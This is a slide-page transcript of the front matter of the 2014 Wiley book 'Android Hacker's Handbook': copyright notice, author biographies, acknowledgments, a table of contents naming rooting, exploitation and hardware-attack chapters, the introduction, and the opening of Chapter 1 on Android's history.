Android Hackers Handbook-httpswww

Views:
 
Category: Education
     
 

Presentation Description

android

Comments

Presentation Transcript

slide 2:

ff rs.indd 01:50:14:PM 02/28/2014 Page ii

slide 3:

ff rs.indd 01:50:14:PM 02/28/2014 Page i Android ™ Hacker’s Handbook

slide 4:

ff rs.indd 01:50:14:PM 02/28/2014 Page ii

slide 5:

ff rs.indd 01:50:14:PM 02/28/2014 Page iii Joshua J. Drake Pau Oliva Fora Zach Lanier Collin Mulliner Stephen A. Ridley Georg Wicherski Android ™ Hacker’s Handbook

slide 6:

ff rs.indd 01:50:14:PM 02/28/2014 Page iv Android ™ Hacker’s Handbook Published by John Wiley Sons Inc. 10475 Crosspoint Boulevard Indianapolis IN 46256 www.wiley.com Copyright © 2014 by John Wiley Sons Inc. Indianapolis Indiana ISBN: 978-1-118-60864-7 ISBN: 978-1-118-60861-6 ebk ISBN: 978-1-118-92225-5 ebk Manufactured in the United States of America 10 9 8 7 6 5 4 3 2 1 No part of this publication may be reproduced stored in a retrieval system or transmitted in any form or by any means electronic mechanical photocopying recording scanning or otherwise except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act without either the prior written permission of the Publisher or autho- rization through payment of the appropriate per-copy fee to the Copyright Clearance Center 222 Rosewood Drive Danvers MA 01923 978 750-8400 fax 978 646-8600. Requests to the Publisher for permission should be addressed to the Permissions Department John Wiley Sons Inc. 111 River Street Hoboken NJ 07030 201 748-6011 fax 201 748-6008 or online at http://www.wiley.com/go/permissions. Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or warranties with respect to the accuracy or completeness of the contents of this work and specif cally disclaim all warranties including without limitation warranties of f tness for a particular purpose. No warranty may be created or extended by sales or promotional materials. The advice and strategies contained herein may not be suitable for every situation. This work is sold with the understanding that the publisher is not engaged in rendering legal accounting or other professional services. If professional assistance is required the services of a competent professional person should be sought. Neither the publisher nor the author shall be liable for damages arising herefrom. The fact that an organization or Web site is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or Web site may provide or recommendations it may make. Further readers should be aware that Internet Web sites listed in this work may have changed or disap- peared between when this work was written and when it is read. For general information on our other products and services please contact our Customer Care Department within the United States at 877 762-2974 outside the United States at 317 572-3993 or fax 317 572-4002. Wiley publishes in a variety of print and electronic formats and by print-on-demand. Some material included with standard print versions of this book may not be included in e-books or in print-on-demand. If this book refers to media such as a CD or DVD that is not included in the version you purchased you may download this material at http:// booksupport.wiley.com. For more information about Wiley products visit www.wiley.com. Library of Congress Control Number: 2013958298 Trademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley Sons Inc. and/or its aff liates in the United States and other countries and may not be used without written permission. Android is a trademark of Google Inc. All other trademarks are the property of their respective owners. John Wiley Sons Inc. is not associated with any product or vendor mentioned in this book.

slide 7:

v ff rs.indd 01:50:14:PM 02/28/2014 Page v Joshua J. Drake is a Director of Research Science at Accuvant LABS. Joshua focuses on original research in areas such as reverse engineering and the analy- sis discovery and exploitation of security vulnerabilities. He has over 10 years of experience in the information security f eld including researching Linux security since 1994 researching Android security since 2009 and consulting with major Android OEMs since 2012. In prior roles he served at Metasploit and VeriSign’s iDefense Labs. At BlackHat USA 2012 Georg and Joshua demon- strated successfully exploiting the Android 4.0.1 browser via NFC. Joshua spoke at REcon CanSecWest RSA Ruxcon/Breakpoint Toorcon and DerbyCon. He won Pwn2Own in 2013 and won the DefCon 18 CTF with the ACME Pharm team in 2010. Pau Oliva Fora is a Mobile Security Engineer with viaForensics. He has pre- viously worked as R+D Engineer in a wireless provider. He has been actively researching security aspects on the Android operating system since its debut with the T-Mobile G1 on October 2008. His passion for smartphone security has manifested itself not just in the numerous exploits and tools he has authored but in other ways such as serving as a moderator for the very popular XDA- Developers forum even before Android existed. In his work he has provided consultation to major Android OEMs. His close involvement with and observa- tion of the mobile security communities has him particularly excited to be a part of pulling together a book of this nature. Zach Lanier is a Senior Security Researcher at Duo Security. Zach has been involved in various areas of information security for over 10 years. He has been conducting mobile and embedded security research since 2009 About the Authors

slide 8:

ff rs.indd 01:50:14:PM 02/28/2014 Page vi ranging from app security to platform security especially Android to device network and carrier security. His areas of research interest include both offensive and defensive techniques as well as privacy-enhancing technologies. He has presented at various public and private industry conferences such as BlackHat DEFCON ShmooCon RSA Intel Security Conference Amazon ZonCon and more. Collin Mulliner is a postdoctoral researcher at Northeastern University. His main interest lies in security and privacy of mobile and embedded systems with an emphasis on mobile and smartphones. His early work dates back to 1997 when he developed applications for Palm OS. Collin is known for his work on the in security of the Multimedia Messaging Service MMS and the Short Message Service SMS. In the past he was mostly interested in vulnerability analysis and offensive security but recently switched his focus the defensive side to develop mitigations and countermeasures. Collin received a Ph.D. in computer science from Technische Universität Berlin earlier he completed his M.S. and B.S. in computer science at UC Santa Barbara and FH Darmstadt. Ridley as his colleagues refer to him is a security researcher and author with more than 10 years of experience in software development software security and reverse engineering. In that last few years Stephen has presented his research and spoken about reverse engineering and software security on every continent except Antarctica. Previously Stephen served as the Chief Information Security Off cer of Simple.com a new kind of online bank. Before that Stephen was senior researcher at Matasano Security and a founding member of the Security and Mission Assurance SMA group at a major U.S defense contractor where he specialized in vulnerability research reverse engineering and “offensive software” in support of the U.S. Defense and Intelligence community. At pres- ent Stephen is principal researcher at Xipiter an information security RD f rm that has also developed a new kind of low-power smart-sensor device. Recently Stephen and his work have been featured on NPR and NBC and in Wired the Washington Post Fast Company VentureBeat Slashdot The Register and other publications. Georg Wicherski is Senior Security Researcher at CrowdStrike. Georg particularly enjoys tinkering with the low-level parts in computer security hand-tuning custom-written shellcode and getting the last percent in exploit reliability stable. Before joining CrowdStrike Georg worked at Kaspersky and McAfee. At BlackHat USA 2012 Joshua and Georg demonstrated successfully exploiting the Android 4.0.1 browser via NFC. He spoke at REcon SyScan BlackHat USA and Japan 26C3 ph-Neutral INBOT and various other confer- ences. With his local CTF team 0ldEur0pe he participated in countless and won numerous competitions. vi About the Authors

slide 9:

vii ff rs.indd 01:50:14:PM 02/28/2014 Page vii Rob Shimonski www.shimonski.com is a best-selling author and editor with over 15 years’ experience developing producing and distributing print media in the form of books magazines and periodicals. To date Rob has successfully created over 100 books that are currently in circulation. Rob has worked for countless companies that include CompTIA Microsoft Wiley McGraw Hill Education Cisco the National Security Agency and Digidesign. Rob has over 20 years’ experience working in IT networking systems and security. He is a veteran of the US military and has been entrenched in security topics for his entire professional career. In the military Rob was assigned to a communications radio battalion supporting training efforts and exercises. Having worked with mobile phones practically since their inception Rob is an expert in mobile phone development and security. About the Technical Editor

slide 10:

ff rs.indd 01:50:14:PM 02/28/2014 Page viii

slide 11:

ix ff rs.indd 01:50:14:PM 02/28/2014 Page ix Executive Editor Carol Long Project Editors Ed Connor Sydney Jones Argenta Technical Editor Rob Shimonski Production Editor Daniel Scribner Copy Editor Charlotte Kughen Editorial Manager Mary Beth Wakef eld Freelancer Editorial Manager Rosemarie Graham Associate Director of Marketing David Mayhew Marketing Manager Ashley Zurcher Business Manager Amy Knies Vice President and Executive Group Publisher Richard Swadley Associate Publisher Jim Minatel Project Coordinator Cover Todd Klemme Proofreaders Mark Steven Long Josh Chase Word One Indexer Ron Strauss Cover Designer Wiley Credits Cover Image The Android robot is reproduced or modif ed from work created and shared by Google and used according to terms described in the Creative Commons 3.0 Attribution License.

slide 12:

ff rs.indd 01:50:14:PM 02/28/2014 Page x

slide 13:

xi ff rs.indd 01:50:14:PM 02/28/2014 Page xi I thank my family especially my wife and son for their tireless support and affection during this project. I thank my peers from both industry and academia their research efforts push the boundary of public knowledge. I extend my gratitude to: my esteemed coauthors for their contributions and candid discus- sions Accuvant for having the grace to let me pursue this and other endeavors and Wiley for spurring this project and guiding us along the way. Last but not least I thank the members of droidsec the Android Security Team and the Qualcomm Security Team for pushing Android security forward. — Joshua J. Drake I’ d like to thank Iolanda Vilar for pushing me into writing this book and sup- porting me during all the time I’ve been away from her at the computer. Ricard and Elena for letting me pursue my passion when I was a child. Wiley and all the coauthors of this book for the uncountable hours we’ve been working on this together and specially Joshua Drake for all the help with my broken English. The colleagues at viaForensics for the awesome technical research we do together. And f nally all the folks at droidsec irc channel the Android Security com- munity in G+ Nopcode 48bits and everyone who I follow on Twitter without you I wouldn’t be able to keep up with all the advances in mobile security. — Pau Oliva Acknowledgments

slide 14:

xii Acknowledgments ff rs.indd 01:50:14:PM 02/28/2014 Page xii I would like to thank Sally the love of my life for putting up with me my family for encouraging me Wiley /Carol/Ed for the opportunity my coauthors for sharing this arduous but awesome journey Ben Nell Craig Ingram Kelly Lum Chris Valasek Jon Oberheide Loukas K. Chris Valasek John Cran and Patrick Schulz for their support and feedback and other friends who’ve helped and supported me along the way whether either of us knows it or not. — Zach Lanier I would like to thank my girlfriend Amity my family and my friends and colleagues for their continued support. Further I would like to thank my advi- sors for providing the necessary time to work on the book. Special thanks to Joshua for making this book happen. — Collin Mulliner No one deserves more thanks than my parents: Hiram O. Russell and Imani Russell and my younger siblings: Gabriel Russell and Mecca Russell. A great deal of who and what I am is owed to the support and love of my family. Both of my parents encouraged me immensely and my brother and sister never cease to impress me in their intellect accomplishments and quality as human beings. You all are what matter most to me. I would also like to thank my beautiful f an- cée Kimberly Ann Hartson for putting up with me through this whole process and being such a loving and calming force in my life. Lastly I would like to thank the information security community at large. The information security community is a strange one but one I “grew up” in nonetheless. Colleagues and researchers including my coauthors are a source of constant inspiration and provide me with the regular sources of news drama and aspirational goals that keep me interested in this kind of work. I am quite honored to have been given the opportunity to collaborate on this text. — Stephen A. Ridley I sincerely thank my wife Eva and son Jonathan for putting up with me spending time writing instead of caring for them. I love you two. I thank Joshua for herding cats to make this book happen. — Georg Wicherski

slide 15:

xiii ff rs.indd 01:50:14:PM 02/28/2014 Page xiii Introduction xxv Chapter 1 Looking at the Ecosystem 1 Chapter 2 Android Security Design and Architecture 25 Chapter 3 Rooting Your Device 57 Chapter 4 Reviewing Application Security 83 Chapter 5 Understanding Android’s Attack Surface 129 Chapter 6 Finding Vulnerabilities with Fuzz Testing 177 Chapter 7 Debugging and Analyzing Vulnerabilities 205 Chapter 8 Exploiting User Space Software 263 Chapter 9 Return Oriented Programming 291 Chapter 10 Hacking and Attacking the Kernel 309 Chapter 11 Attacking the Radio Interface Layer 367 Chapter 12 Exploit Mitigations 391 Chapter 13 Hardware Attacks 423 Appendix A Tool Catalog 485 Appendix B Open Source Repositories 501 Appendix C References 511 Index 523 Contents at a Glance

slide 16:

ff rs.indd 01:50:14:PM 02/28/2014 Page xiv

slide 17:

xv ftoc.indd 09:50:43:PM 03/04/2014 Page xv Introduction xxv Chapter 1 Looking at the Ecosystem 1 Understanding Android’s Roots 1 Company History 2 Version History 2 Examining the Device Pool 4 Open Source Mostly 7 Understanding Android Stakeholders 7 Google 8 Hardware Vendors 10 Carriers 12 Developers 13 Users 14 Grasping Ecosystem Complexities 15 Fragmentation 16 Compatibility 17 Update Issues 18 Security versus Openness 21 Public Disclosures 22 Summary 23 Chapter 2 Android Security Design and Architecture 25 Understanding Android System Architecture 25 Understanding Security Boundaries and Enforcement 27 Android’s Sandbox 27 Android Permissions 30 Looking Closer at the Layers 34 Android Applications 34 The Android Framework 39 Contents

slide 18:

xvi Contents ftoc.indd 09:50:43:PM 03/04/2014 Page xvi The Dalvik Virtual Machine 40 User-Space Native Code 41 The Kernel 49 Complex Security Complex Exploits 55 Summary 56 Chapter 3 Rooting Your Device 57 Understanding the Partition Layout 58 Determining the Partition Layout 59 Understanding the Boot Process 60 Accessing Download Mode 61 Locked and Unlocked Boot Loaders 62 Stock and Custom Recovery Images 63 Rooting with an Unlocked Boot Loader 65 Rooting with a Locked Boot Loader 68 Gaining Root on a Booted System 69 NAND Locks Temporary Root and Permanent Root 70 Persisting a Soft Root 71 History of Known Attacks 73 Kernel: Wunderbar/asroot 73 Recovery: Volez 74 Udev: Exploid 74 Adbd: RageAgainstTheCage 75 Zygote: Zimperlich and Zysploit 75 Ashmem: KillingInTheNameOf and psneuter 76 Vold: GingerBreak 76 PowerVR: levitator 77 Libsysutils: zergRush 78 Kernel: mempodroid 78 File Permission and Symbolic Link–Related Attacks 79 Adb Restore Race Condition 79 Exynos4: exynos-abuse 80 Diag: lit / diaggetroot 81 Summary 81 Chapter 4 Reviewing Application Security 83 Common Issues 83 App Permission Issues 84 Insecure Transmission of Sensitive Data 86 Insecure Data Storage 87 Information Leakage Through Logs 88 Unsecured IPC Endpoints 89 Case Study: Mobile Security App 91 Prof ling 91 Static Analysis 93 Dynamic Analysis 109 Attack 117

slide 19:

Contents xvii ftoc.indd 09:50:43:PM 03/04/2014 Page xvii Case Study: SIP Client 120 Enter Drozer 121 Discovery 121 Snarf ng 122 Injection 124 Summary 126 Chapter 5 Understanding Android’s Attack Surface 129 An Attack Terminology Primer 130 Attack Vectors 130 Attack Surfaces 131 Classifying Attack Surfaces 133 Surface Properties 133 Classif cation Decisions 134 Remote Attack Surfaces 134 Networking Concepts 134 Networking Stacks 139 Exposed Network Services 140 Mobile Technologies 142 Client-side Attack Surface 143 Google Infrastructure 148 Physical Adjacency 154 Wireless Communications 154 Other Technologies 161 Local Attack Surfaces 161 Exploring the File System 162 Finding Other Local Attack Surfaces 163 Physical Attack Surfaces 168 Dismantling Devices 169 USB 169 Other Physical Attack Surfaces 173 Third-Party Modif cations 174 Summary 174 Chapter 6 Finding Vulnerabilities with Fuzz Testing 177 Fuzzing Background 177 Identifying a Target 179 Crafting Malformed Inputs 179 Processing Inputs 180 Monitoring Results 181 Fuzzing on Android 181 Fuzzing Broadcast Receivers 183 Identifying a Target 183 Generating Inputs 184 Delivering Inputs 185 Monitoring Testing 185

slide 20:

xviii Contents ftoc.indd 09:50:43:PM 03/04/2014 Page xviii Fuzzing Chrome for Android 188 Selecting a Technology to Target 188 Generating Inputs 190 Processing Inputs 192 Monitoring Testing 194 Fuzzing the USB Attack Surface 197 USB Fuzzing Challenges 198 Selecting a Target Mode 198 Generating Inputs 199 Processing Inputs 201 Monitoring Testing 202 Summary 204 Chapter 7 Debugging and Analyzing Vulnerabilities 205 Getting All Available Information 205 Choosing a Toolchain 207 Debugging with Crash Dumps 208 System Logs 208 Tombstones 209 Remote Debugging 211 Debugging Dalvik Code 212 Debugging an Example App 213 Showing Framework Source Code 215 Debugging Existing Code 217 Debugging Native Code 221 Debugging with the NDK 222 Debugging with Eclipse 226 Debugging with AOSP 227 Increasing Automation 233 Debugging with Symbols 235 Debugging with a Non-AOSP Device 241 Debugging Mixed Code 243 Alternative Debugging Techniques 243 Debug Statements 243 On-Device Debugging 244 Dynamic Binary Instrumentation 245 Vulnerability Analysis 246 Determining Root Cause 246 Judging Exploitability 260 Summary 261 Chapter 8 Exploiting User Space Software 263 Memory Corruption Basics 263 Stack Buffer Overf ows 264 Heap Exploitation 268

slide 21:

Contents xix ftoc.indd 09:50:43:PM 03/04/2014 Page xix A History of Public Exploits 275 GingerBreak 275 zergRush 279 mempodroid 283 Exploiting the Android Browser 284 Understanding the Bug 284 Controlling the Heap 287 Summary 290 Chapter 9 Return Oriented Programming 291 History and Motivation 291 Separate Code and Instruction Cache 292 Basics of ROP on ARM 294 ARM Subroutine Calls 295 Combining Gadgets into a Chain 297 Identifying Potential Gadgets 299 Case Study: Android 4.0.1 Linker 300 Pivoting the Stack Pointer 301 Executing Arbitrary Code from a New Mapping 303 Summary 308 Chapter 10 Hacking and Attacking the Kernel 309 Android’s Linux Kernel 309 Extracting Kernels 310 Extracting from Stock Firmware 311 Extracting from Devices 314 Getting the Kernel from a Boot Image 315 Decompressing the Kernel 316 Running Custom Kernel Code 316 Obtaining Source Code 316 Setting Up a Build Environment 320 Conf guring the Kernel 321 Using Custom Kernel Modules 322 Building a Custom Kernel 325 Creating a Boot Image 329 Booting a Custom Kernel 331 Debugging the Kernel 336 Obtaining Kernel Crash Reports 337 Understanding an Oops 338 Live Debugging with KGDB 343 Exploiting the Kernel 348 Typical Android Kernels 348 Extracting Addresses 350 Case Studies 352 Summary 364

slide 22:

xx Contents ftoc.indd 09:50:43:PM 03/04/2014 Page xx Chapter 11 Attacking the Radio Interface Layer 367 Introduction to the RIL 368 RIL Architecture 368 Smartphone Architecture 369 The Android Telephony Stack 370 Telephony Stack Customization 371 The RIL Daemon rild 372 The Vendor-RIL API 374 Short Message Service SMS 375 Sending and Receiving SMS Messages 376 SMS Message Format 376 Interacting with the Modem 379 Emulating the Modem for Fuzzing 379 Fuzzing SMS on Android 382 Summary 390 Chapter 12 Exploit Mitigations 391 Classifying Mitigations 392 Code Signing 392 Hardening the Heap 394 Protecting Against Integer Overf ows 394 Preventing Data Execution 396 Address Space Layout Randomization 398 Protecting the Stack 400 Format String Protections 401 Read-Only Relocations 403 Sandboxing 404 Fortifying Source Code 405 Access Control Mechanisms 407 Protecting the Kernel 408 Pointer and Log Restrictions 409 Protecting the Zero Page 410 Read-Only Memory Regions 410 Other Hardening Measures 411 Summary of Exploit Mitigations 414 Disabling Mitigation Features 415 Changing Your Personality 416 Altering Binaries 416 Tweaking the Kernel 417 Overcoming Exploit Mitigations 418 Overcoming Stack Protections 418 Overcoming ASLR 418 Overcoming Data Execution Protections 419 Overcoming Kernel Protections 419

slide 23:

Contents xxi ftoc.indd 09:50:43:PM 03/04/2014 Page xxi Looking to the Future 420 Off cial Projects Underway 420 Community Kernel Hardening Efforts 420 A Bit of Speculation 422 Summary 422 Chapter 13 Hardware Attacks 423 Interfacing with Hardware Devices 424 UART Serial Interfaces 424 I 2 C SPI and One-Wire Interfaces 428 JTAG 431 Finding Debug Interfaces 443 Identifying Components 456 Getting Specif cations 456 Diff culty Identifying Components 457 Intercepting Monitoring and Injecting Data 459 USB 459 I 2 C SPI and UART Serial Interfaces 463 Stealing Secrets and Firmware 469 Accessing Firmware Unobtrusively 469 Destructively Accessing the Firmware 471 What Do You Do with a Dump 474 Pitfalls 479 Custom Interfaces 479 Binary/Proprietary Data 479 Blown Debug Interfaces 480 Chip Passwords 480 Boot Loader Passwords Hotkeys and Silent Terminals 480 Customized Boot Sequences 481 Unexposed Address Lines 481 Anti-Reversing Epoxy 482 Image Encryption Obfuscation and Anti-Debugging 482 Summary 482 Appendix A Tool Catalog 485 Development Tools 485 Android SDK 485 Android NDK 486 Eclipse 486 ADT Plug-In 486 ADT Bundle 486 Android Studio 487 Firmware Extraction and Flashing Tools 487 Binwalk 487 fastboot 487

slide 24:

xxii Contents ftoc.indd 09:50:43:PM 03/04/2014 Page xxii Samsung 488 NVIDIA 489 LG 489 HTC 489 Motorola 490 Native Android Tools 491 BusyBox 491 setpropex 491 SQLite 491 strace 492 Hooking and Instrumentation Tools 492 ADBI Framework 492 ldpreloadhook 492 XPosed Framework 492 Cydia Substrate 493 Static Analysis Tools 493 Smali and Baksmali 493 Androguard 493 apktool 494 dex2jar 494 jad 494 JD-GUI 495 JEB 495 Radare2 495 IDA Pro and Hex-Rays Decompiler 496 Application Testing Tools 496 Drozer Mercury Framework 496 iSEC Intent Sniffer and Intent Fuzzer 496 Hardware Hacking Tools 496 Segger J-Link 497 JTAGulator 497 OpenOCD 497 Saleae 497 Bus Pirate 497 GoodFET 497 Total Phase Beagle USB 498 Facedancer21 498 Total Phase Beagle I 2 C 498 Chip Quik 498 Hot air gun 498 Xeltek SuperPro 498 IDA 499 Appendix B Open Source Repositories 501 Google 501 AOSP 501 Gerrit Code Review 502

slide 25:

Contents xxiii ftoc.indd 09:50:43:PM 03/04/2014 Page xxiii SoC Manufacturers 502 AllWinner 503 Intel 503 Marvell 503 MediaTek 504 Nvidia 504 Texas Instruments 504 Qualcomm 505 Samsung 505 OEMs 506 ASUS 506 HTC 507 LG 507 Motorola 507 Samsung 508 Sony Mobile 508 Upstream Sources 508 Others 509 Custom Firmware 509 Linaro 510 Replicant 510 Code Indexes 510 Individuals 510 Appendix C References 511 Index 523

slide 26:

f ast.indd 01:24:53:PM 02/24/2014 Page xxiv

slide 27:

xxv f ast.indd 01:24:53:PM 02/24/2014 Page xxv Introduction Like most disciplines information security began as a cottage industry. It is has grown organically from hobbyist pastime into a robust industry replete with executive titles “research and development” credibility and the ear of academia as an industry where seemingly aloof f elds of study such as number theory cryptography natural language processing graph theory algorithms and niche computer science can be applied with a great deal of industry impact. Information security is evolving into a proving ground for some of these fascinating f elds of study. Nonetheless information security specif cally “vulnerability research” is bound to the information technology sector as a whole and therefore follows the same trends. As we all very well know from our personal lives mobile computing is quite obviously one of the greatest recent areas of growth in the information tech- nology. More than ever our lives are chaperoned by our mobile devices much more so than the computers we leave on our desks at close of business or leave closed on our home coffee tables when we head into our off ces in the morning. Unlike those devices our mobile devices are always on taken between these two worlds and are hence much more valuable targets for malicious actors. Unfortunately information security has been slower to follow suit with only a recent shift toward the mobile space. As a predominantly “reactionary” industry information security has been slow at least publicly to catch up to mobile/ embedded security research and development. To some degree mobile security is still considered cutting edge because consumers and users of mobile devices are only just recently beginning to see and comprehend the threats associated with our mobile devices. These threats have consequently created a market for security research and security products.

slide 28:

xxvi Introduction f ast.indd 01:24:53:PM 02/24/2014 Page xxvi For information security researchers the mobile space also represents a fairly new and sparsely charted continent to explore with diverse geography in the form of different processor architectures hardware peripherals software stacks and operating systems. All of these create an ecosystem for a diverse set of vulnerabilities to exploit and study. According to IDC Android market share in Q3 2012 was 75 percent of the worldwide market as calculated by shipment volume with 136 million units shipped. Apple’ s iOS had 14.9 percent of the market in the same quarter BlackBerry and Symbian followed behind with 4.3 percent and 2.3 percent respectively. After Q3 2013 Android’s number had risen to 81 percent with iOS at 12.9 percent and the remaining 6.1 percent scattered among the other mobile operating systems. With that much market share and a host of interesting information security incidents and research happening in the Android world we felt a book of this nature was long overdue. Wiley has published numerous books in the Hacker’s Handbook series including the titles with the terms “Shellcoder’s” “Mac” “Database” “Web Application” “iOS” and “Browser” in their names. The Android Hacker’s Handbook represents the latest installment in the series and builds on the information within the entire collection. Overview of the Book and Technology The Android Hacker’s Handbook team members chose to write this book because the f eld of mobile security research is so “sparsely charted” with disparate and conf icted information in the form of resources and techniques. There have been some fantastic papers and published resources that feature Android but much of what has been written is either very narrow focusing on a specif c facet of Android security or mentions Android only as an ancillary detail of a security issue regarding a specif c mobile technology or embedded device. Further public vulnerability information surrounding Android is scarce. Despite the fact that 1000 or more publicly disclosed vulnerabilities affect Android devices multiple popular sources of vulnerability information report fewer than 100. The team believes that the path to improving Android’s security posture starts by under- standing the technologies concepts tools techniques and issues in this book. How This Book Is Organized This book is intended to be readable cover to cover but also serves as an indexed reference for anyone hacking on Android or doing information security research on an Android-based device. We’ve organized the book into 13 chapters to cover

slide 29:

Introduction xxvii f ast.indd 01:24:53:PM 02/24/2014 Page xxvii virtually everything one would need to know to f rst approach Android for security research. Chapters include diagrams photographs code snippets and disassembly to explain the Android software and hardware environment and consequently the nuances of software exploitation and reverse engineering on Android. The general outline of this book begins with broader topics and ends with deeply technical information. The chapters are increasingly specif c and lead up to discussions of advanced security research topics such as discover- ing analyzing and attacking Android devices. Where applicable this book refers to additional sources of detailed documentation. This allows the book to focus on technical explanations and details relevant to device rooting reverse engineering vulnerability research and software exploitation. ■ Chapter 1 introduces the ecosystem surrounding Android mobile devices. After revisiting historical facts about Android the chapter takes a look at the general software composition the devices in public circulation and the key players in the supply chain. It concludes with a discussion of high-level diff culties that challenge the ecosystem and impede Android security research. ■ Chapter 2 examines Android operating system fundamentals. It begins with an introduction to the core concepts used to keep Android devices secure. The rest of the chapter dips into the internals of the most security- critical components. ■ Chapter 3 explains the motivations and methods for gaining unimpeded access to an Android device. It starts by covering and guiding you through techniques that apply to a wide range of devices. Then it presents mod- erately detailed information about more than a dozen individually published exploits. ■ Chapter 4 pertains to security concepts and techniques specif c to Android applications. After discussing common security-critical mistakes made during development it walks you through the tools and processes used to f nd such issues. ■ Chapter 5 introduces key terminology used to describe attacks against mobile devices and explores the many ways that an Android device can be attacked. ■ Chapter 6 shows how to f nd vulnerabilities in software that runs on Android by using a technique known as fuzz testing. It starts by discussing the high-level process behind fuzzing. The rest of the chapter takes a look at how applying these processes toward Android can aid in discovering security issues. ■ Chapter 7 is about analyzing and understanding bugs and security vul- nerabilities in Android. It f rst presents techniques for debugging the

slide 30:

xxviii Introduction f ast.indd 01:24:53:PM 02/24/2014 Page xxviii different types of code found in Android. It concludes with an analysis of an unpatched security issue in the WebKit-based web browser. ■ Chapter 8 looks at how you can exploit memory corruption vulnerabilities on Android devices. It covers compiler and operating system internals like Android’s heap implementation and ARM system architecture specif cs. The last part of this chapter takes a close look at how several published exploits work. ■ Chapter 9 focuses on an advanced exploitation technique known as Return Oriented Programming ROP. It further covers ARM system architecture and explains why and how to apply ROP. It ends by taking a more detailed look at one particular exploit. ■ Chapter 10 digs deeper into the inner workings of the Android operating system with information about the kernel. It begins by explaining how to hack in the hobbyist sense the Android kernel. This includes how to develop and debug kernel code. Finally it shows you how to exploit a few publicly disclosed vulnerabilities. ■ Chapter 11 jumps back to user-space to discuss a particularly important component unique to Android smartphones: the Radio Interface Layer RIL. After discussing architectural details this chapter covers how you can interact with RIL components to fuzz the code that handles Short Message Service SMS messages on an Android device. ■ Chapter 12 details security protection mechanisms present in the Android operating system. It begins with a perspective on when such protections were invented and introduced in Android. It explains how these protec- tions work at various levels and concludes with techniques for overcoming and circumventing them. ■ Chapter 13 dives into methods and techniques for attacking Android and other embedded devices through their hardware. It starts by explaining how to identify monitor and intercept various bus-level communications. It shows how these methods can enable further attacks against hard-to- reach system components. It ends with tips and tricks for avoiding many common hardware hacking pitfalls. Who Should Read This Book The intended audience of this book is anyone who wants to gain a better understanding of Android security. Whether you are a software developer an embedded system designer a security architect or a security researcher this book will improve your understanding of the Android security landscape.

slide 31:

Introduction xxix f ast.indd 01:24:53:PM 02/24/2014 Page xxix Though some of the chapters are approachable to a wide audience the bulk of this book is better digested by someone with a f rm grasp on computer software development and security. Admittedly some of the more technical chapters are better suited to readers who are knowledgeable in topics such as assembly language programming and reverse engineering. However less experienced readers who have suff cient motivation stand to learn a great deal from taking the more challenging parts of the book head on. Tools You Will Need This book alone will be enough for you to get a basic grasp of the inner workings of the Android OS. However readers who want to follow the presented code and workf ows should prepare by gathering a few items. First and foremost an Android device is recommended. Although a virtual device will suff ce for most tasks you will be better off with a physical device from the Google Nexus family. Many of the chapters assume you will use a development machine with Ubuntu 12.04. Finally the Android Software Developers Kit SDK Android Native Development Kit NDK and a complete checkout of the Android Open Source Project AOSP are recommended for following along with the more advanced chapters. What’s on the Website As stated earlier this book is intended to be a one-stop resource for current Android information security research and development. While writing this book we developed code that supplements the material. You can download this supplementary material from the book’s website at www.wiley.com/ go/androidhackershandbook/. Bon Voyage With this book in your hand you’re ready to embark on a journey through Android security. We hope reading this book will give you a deeper knowledge and better understanding of the technologies concepts tools techniques and vulnerabilities of Android devices. Through your newly acquired wisdom you will be on the path to improving Android’s overall security posture. Join us in making Android more secure and don’t forget to have fun doing it

slide 32:

f ast.indd 01:24:53:PM 02/24/2014 Page xxx

slide 33:

1 c01.indd 01:14:5:PM 02/24/2014 Page 1 The word Android is used correctly in many contexts. Although the word still can refer to a humanoid robot Android has come to mean much more than that in the last decade. In the mobile space it refers to a company an operating system an open source project and a development community. Some people even call mobile devices Androids. In short an entire ecosystem surrounds the now wildly popular mobile operating system. This chapter looks closely at the composition and health of the Android ecosystem. First you f nd out how Android became what it is today. Then the chapter breaks down the ecosystem stakeholders into groups in order to help you understand their roles and motivations. Finally the chapter discusses the complex relationships within the ecosystem that give rise to several important issues that affect security. Understanding Android’s Roots Android did not become the world’s most popular mobile operating system overnight. The last decade has been a long journey with many bumps in the road. This section recounts how Android became what it is today and begins looking at what makes the Android ecosystem tick. CHAPTER 1 Looking at the Ecosystem

slide 34:

2 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 2 Company History Android began as Android Inc. a company founded by Andy Rubin Chris White Nick Sears and Rich Miner in October 2003. They focused on creating mobile devices that were able to take into account location information and user preferences. After successfully navigating market demand and f nancial diff culties Google acquired Android Inc. in August 2005. During the period following Google began building partnerships with hardware software and telecommunications companies with the intent of entering the mobile market. In November 2007 the Open Handset Alliance OHA was announced. This consortium of companies which included 34 founding members led by Google shares a commitment to openness. In addition it aims to accelerate mobile plat- form innovation and offer consumers a richer less expensive and better mobile experience. The OHA has since grown to 84 members at the time this book was published. Members represent all parts of the mobile ecosystem including mobile operators handset manufacturers semiconductor companies software companies and more. You can f nd the full list of members on the OHA website at www.openhandsetalliance.com/oha_members.html. With the OHA in place Google announced its f rst mobile product Android. However Google still did not bring any devices running Android to the market. Finally after a total of f ve years Android was made available to the general public in October 2008. The release of the f rst publicly available Android phone the HTC G1 marked the beginning of an era. Version History Before the f rst commercial version of Android the operating system had Alpha and Beta releases. The Alpha releases where available only to Google and OHA members and they were codenamed after popular robots Astro Boy Bender and R2-D2. Android Beta was released on November 5 2007 which is the date that is popularly considered the Android birthday. The f rst commercial version version 1.0 was released on September 23 2008 and the next release version 1.1 was available on February 9 2009. Those were the only two releases that did not have a naming convention for their codename. Starting with Android 1.5 which was released on April 30 2009 the major ver- sions’ code names were ordered alphabetically with the names of tasty treats. Version 1.5 was code named Cupcake. Figure 1-1 shows all commercial Android versions with their respective release dates and code names.

slide 35:

Chapter 1 ■ Looking at the Ecosystem 3 c01.indd 01:14:5:PM 02/24/2014 Page 3 Figure 1-1: Android releases

slide 36:

